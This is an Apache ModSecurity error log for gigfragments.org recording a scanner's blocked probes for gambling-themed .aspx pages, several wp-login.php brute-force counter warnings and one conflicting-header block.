[Fri Mar 27 13:20:17.631838 2026] [:error] [pid 27851:tid 27861] [client 37.187.27.125:47334] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acYTkXR2ccxe3RMCLbqLBgAAAMM"]
[Fri Mar 27 13:20:21.075016 2026] [:error] [pid 4293:tid 4317] [client 37.187.27.125:48128] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acYTlZLjeJUC3OKtEx-F8AAAAVY"]
[Fri Mar 27 13:20:23.747994 2026] [:error] [pid 4293:tid 4317] [client 37.187.27.125:48640] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acYTl5LjeJUC3OKtEx-F_AAAAVY"]
[Fri Mar 27 13:20:26.667982 2026] [:error] [pid 27750:tid 27833] [client 37.187.27.125:49302] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acYTmoaSil5rd17ieLybawAAAI8"]
[Fri Mar 27 13:20:30.593271 2026] [:error] [pid 4293:tid 4307] [client 37.187.27.125:50194] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acYTnpLjeJUC3OKtEx-GHAAAAUw"]
[Fri Mar 27 13:20:33.521148 2026] [:error] [pid 27743:tid 27784] [client 37.187.27.125:50746] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acYToSA46UYYLqzw99BB_AAAABQ"]
[Fri Mar 27 13:20:36.521121 2026] [:error] [pid 27851:tid 27863] [client 37.187.27.125:51310] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acYTpHR2ccxe3RMCLbqLFQAAAMU"]
[Fri Mar 27 13:20:39.709839 2026] [:error] [pid 27851:tid 27866] [client 37.187.27.125:51894] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acYTp3R2ccxe3RMCLbqLFwAAAMg"]
[Fri Mar 27 13:20:43.134322 2026] [:error] [pid 4341:tid 4356] [client 37.187.27.125:52586] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acYTq-KJWrNB5dMlERHU_AAAAY0"]
[Fri Mar 27 13:20:46.028167 2026] [:error] [pid 27851:tid 27870] [client 37.187.27.125:53116] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acYTrnR2ccxe3RMCLbqLIQAAAMw"]
[Fri Mar 27 13:20:49.516026 2026] [:error] [pid 27851:tid 27868] [client 37.187.27.125:53804] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acYTsXR2ccxe3RMCLbqLJwAAAMo"]
[Fri Mar 27 13:20:54.291928 2026] [:error] [pid 63897:tid 63907] [client 37.187.27.125:54652] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acYTtmVSkmYmLu7ycYjJvAAAAQg"]
[Fri Mar 27 13:20:56.810485 2026] [:error] [pid 4341:tid 4357] [client 37.187.27.125:55152] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acYTuOKJWrNB5dMlERHVCwAAAY4"]
[Fri Mar 27 13:21:03.302745 2026] [:error] [pid 27749:tid 27812] [client 37.187.27.125:56162] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acYTv8EqyoMni2Q6_X6vNAAAAFU"]
[Fri Mar 27 13:21:06.982762 2026] [:error] [pid 4341:tid 4365] [client 37.187.27.125:56926] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acYTwuKJWrNB5dMlERHVPAAAAZY"]
[Fri Mar 27 13:21:55.414865 2026] [:error] [pid 27750:tid 27839] [client 37.187.27.125:57628] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "acYT84aSil5rd17ieLybwwAAAJU"]
[Fri Mar 27 13:21:59.050803 2026] [:error] [pid 63897:tid 63915] [client 37.187.27.125:39804] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "acYT92VSkmYmLu7ycYjKPAAAARA"]
[Fri Mar 27 13:22:04.434360 2026] [:error] [pid 4293:tid 4311] [client 37.187.27.125:40956] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acYT_JLjeJUC3OKtEx-GuAAAAVA"]
[Fri Mar 27 13:22:07.789353 2026] [:error] [pid 27743:tid 27778] [client 37.187.27.125:41794] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acYT_yA46UYYLqzw99BCLAAAAA4"]
[Fri Mar 27 13:22:11.797170 2026] [:error] [pid 4341:tid 4351] [client 37.187.27.125:42696] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acYUA-KJWrNB5dMlERHVuQAAAYg"]
[Fri Mar 27 13:22:14.482370 2026] [:error] [pid 63897:tid 63915] [client 37.187.27.125:43272] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acYUBmVSkmYmLu7ycYjKUQAAARA"]
[Fri Mar 27 13:22:18.657497 2026] [:error] [pid 4293:tid 4301] [client 37.187.27.125:44186] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acYUCpLjeJUC3OKtEx-G7AAAAUY"]
[Fri Mar 27 13:22:21.883141 2026] [:error] [pid 4341:tid 4365] [client 37.187.27.125:44872] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acYUDeKJWrNB5dMlERHV3wAAAZY"]
[Fri Mar 27 13:22:24.586548 2026] [:error] [pid 4293:tid 4306] [client 37.187.27.125:45496] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acYUEJLjeJUC3OKtEx-G9AAAAUs"]
[Fri Mar 27 13:22:28.741023 2026] [:error] [pid 27743:tid 27787] [client 37.187.27.125:46342] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acYUFCA46UYYLqzw99BCMwAAABc"]
[Fri Mar 27 13:22:31.654800 2026] [:error] [pid 4293:tid 4310] [client 37.187.27.125:46940] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acYUF5LjeJUC3OKtEx-HDQAAAU8"]
[Fri Mar 27 13:22:35.181382 2026] [:error] [pid 4293:tid 4304] [client 37.187.27.125:47642] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acYUG5LjeJUC3OKtEx-HIAAAAUk"]
[Fri Mar 27 13:22:38.791483 2026] [:error] [pid 4341:tid 4362] [client 37.187.27.125:48314] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acYUHuKJWrNB5dMlERHV9QAAAZM"]
[Fri Mar 27 13:22:41.656187 2026] [:error] [pid 4293:tid 4296] [client 37.187.27.125:48892] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acYUIZLjeJUC3OKtEx-HMAAAAUE"]
[Fri Mar 27 13:22:44.657414 2026] [:error] [pid 4293:tid 4318] [client 37.187.27.125:49454] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acYUJJLjeJUC3OKtEx-HOQAAAVc"]
[Fri Mar 27 13:22:47.931623 2026] [:error] [pid 4341:tid 4367] [client 37.187.27.125:50014] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acYUJ-KJWrNB5dMlERHWDwAAAZg"]
[Fri Mar 27 13:23:42.480484 2026] [:error] [pid 27749:tid 27804] [client 37.187.27.125:50788] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acYUXsEqyoMni2Q6_X6vnwAAAE0"]
[Fri Mar 27 13:23:45.312769 2026] [:error] [pid 4341:tid 4349] [client 37.187.27.125:34082] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acYUYeKJWrNB5dMlERHWdwAAAYY"]
[Fri Mar 27 13:23:48.271567 2026] [:error] [pid 27749:tid 27804] [client 37.187.27.125:34562] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acYUZMEqyoMni2Q6_X6vqwAAAE0"]
[Fri Mar 27 13:23:51.540375 2026] [:error] [pid 4293:tid 4309] [client 37.187.27.125:35126] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acYUZ5LjeJUC3OKtEx-IDQAAAU4"]
[Fri Mar 27 13:23:56.295464 2026] [:error] [pid 4341:tid 4346] [client 37.187.27.125:35926] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acYUbOKJWrNB5dMlERHWhQAAAYM"]
[Fri Mar 27 13:23:59.386632 2026] [:error] [pid 4293:tid 4308] [client 37.187.27.125:36468] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acYUb5LjeJUC3OKtEx-IHQAAAU0"]
[Fri Mar 27 13:24:02.642952 2026] [:error] [pid 27851:tid 27866] [client 37.187.27.125:36966] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acYUcnR2ccxe3RMCLbqL-QAAAMg"]
[Fri Mar 27 13:24:06.658881 2026] [:error] [pid 27750:tid 27837] [client 37.187.27.125:37606] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acYUdoaSil5rd17ieLycVAAAAJM"]
[Fri Mar 27 13:24:09.500078 2026] [:error] [pid 27743:tid 27767] [client 37.187.27.125:37998] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acYUeSA46UYYLqzw99BCTgAAAAM"]
[Fri Mar 27 13:24:12.818039 2026] [:error] [pid 27851:tid 27882] [client 37.187.27.125:38510] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acYUfHR2ccxe3RMCLbqMBgAAANg"]
[Fri Mar 27 13:24:16.035562 2026] [:error] [pid 4341:tid 4344] [client 37.187.27.125:39004] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acYUgOKJWrNB5dMlERHWqAAAAYE"]
[Fri Mar 27 13:24:19.324210 2026] [:error] [pid 4293:tid 4301] [client 37.187.27.125:39490] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acYUg5LjeJUC3OKtEx-IPwAAAUY"]
[Fri Mar 27 13:24:22.306158 2026] [:error] [pid 4341:tid 4366] [client 37.187.27.125:39942] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acYUhuKJWrNB5dMlERHWrQAAAZc"]
[Fri Mar 27 13:24:25.496623 2026] [:error] [pid 4293:tid 4315] [client 37.187.27.125:40394] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acYUiZLjeJUC3OKtEx-ITwAAAVQ"]
[Fri Mar 27 13:24:28.578072 2026] [:error] [pid 27743:tid 27766] [client 37.187.27.125:40888] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acYUjCA46UYYLqzw99BCVgAAAAI"]
[Fri Mar 27 16:08:15.685394 2026] [:error] [pid 4341:tid 4346] [client 185.194.178.101:43623] [client 185.194.178.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acY67-KJWrNB5dMlERFEvAAAAYM"]
[Fri Mar 27 16:21:39.857250 2026] [:error] [pid 27750:tid 27834] [client 43.165.190.5:43608] [client 43.165.190.5] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acY-E4aSil5rd17ieLzDxwAAAJA"]
[Fri Mar 27 16:40:44.690538 2026] [:error] [pid 27750:tid 27841] [client 185.194.178.87:37089] [client 185.194.178.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZCjIaSil5rd17ieLzHiQAAAJc"]
[Fri Mar 27 16:40:44.690754 2026] [:error] [pid 63897:tid 63922] [client 185.194.178.92:25995] [client 185.194.178.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZCjGVSkmYmLu7ycYgSwwAAARc"]
[Fri Mar 27 16:51:32.889157 2026] [:error] [pid 63897:tid 63915] [client 185.194.178.60:50215] [client 185.194.178.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZFFGVSkmYmLu7ycYgVQwAAARA"]
[Fri Mar 27 16:51:32.899577 2026] [:error] [pid 27851:tid 27880] [client 185.194.178.74:62459] [client 185.194.178.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZFFHR2ccxe3RMCLbrBfQAAANY"]
[Fri Mar 27 17:15:55.359986 2026] [:error] [pid 4341:tid 4366] [client 185.194.178.63:53723] [client 185.194.178.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZKy-KJWrNB5dMlERFewAAAAZc"]
[Fri Mar 27 17:37:17.551642 2026] [:error] [pid 27750:tid 27818] [client 185.194.178.59:23295] [client 185.194.178.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZPzYaSil5rd17ieLzTjQAAAIA"]
[Fri Mar 27 17:37:17.554525 2026] [:error] [pid 4341:tid 4352] [client 185.194.178.59:32837] [client 185.194.178.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acZPzeKJWrNB5dMlERFo-wAAAYk"]
